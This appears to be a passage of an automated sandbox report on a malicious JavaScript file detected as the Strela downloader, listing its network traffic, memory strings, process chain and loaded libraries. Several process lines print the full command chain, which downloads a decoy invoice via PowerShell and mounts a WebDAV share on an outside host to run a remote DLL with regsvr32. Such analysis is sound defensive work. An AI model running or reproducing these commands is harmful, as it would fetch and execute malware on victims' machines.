HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1419687607.00000208184AC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1421677077.000002081A161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1496282001.0000028EC6F48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1482510866.0000028EC6F9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1484446728.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1496347643.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1496531296.0000028EC6F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1496282001.0000028EC6F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num#
Source: net.exe, 00000007.00000002.1496282001.0000028EC6F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: net.exe, 00000007.00000003.1484446728.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1496347643.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000003.1484446728.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1496347643.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/v
Source: svchost.exe, 00000009.00000002.2709707848.000001C6FF000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1485800045.000001C6FEEA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7708, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 18559217651387524988.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8156

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5cinmi4.dct.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,13619659452402158311,8467042850508532389,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,13619659452402158311,8467042850508532389,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
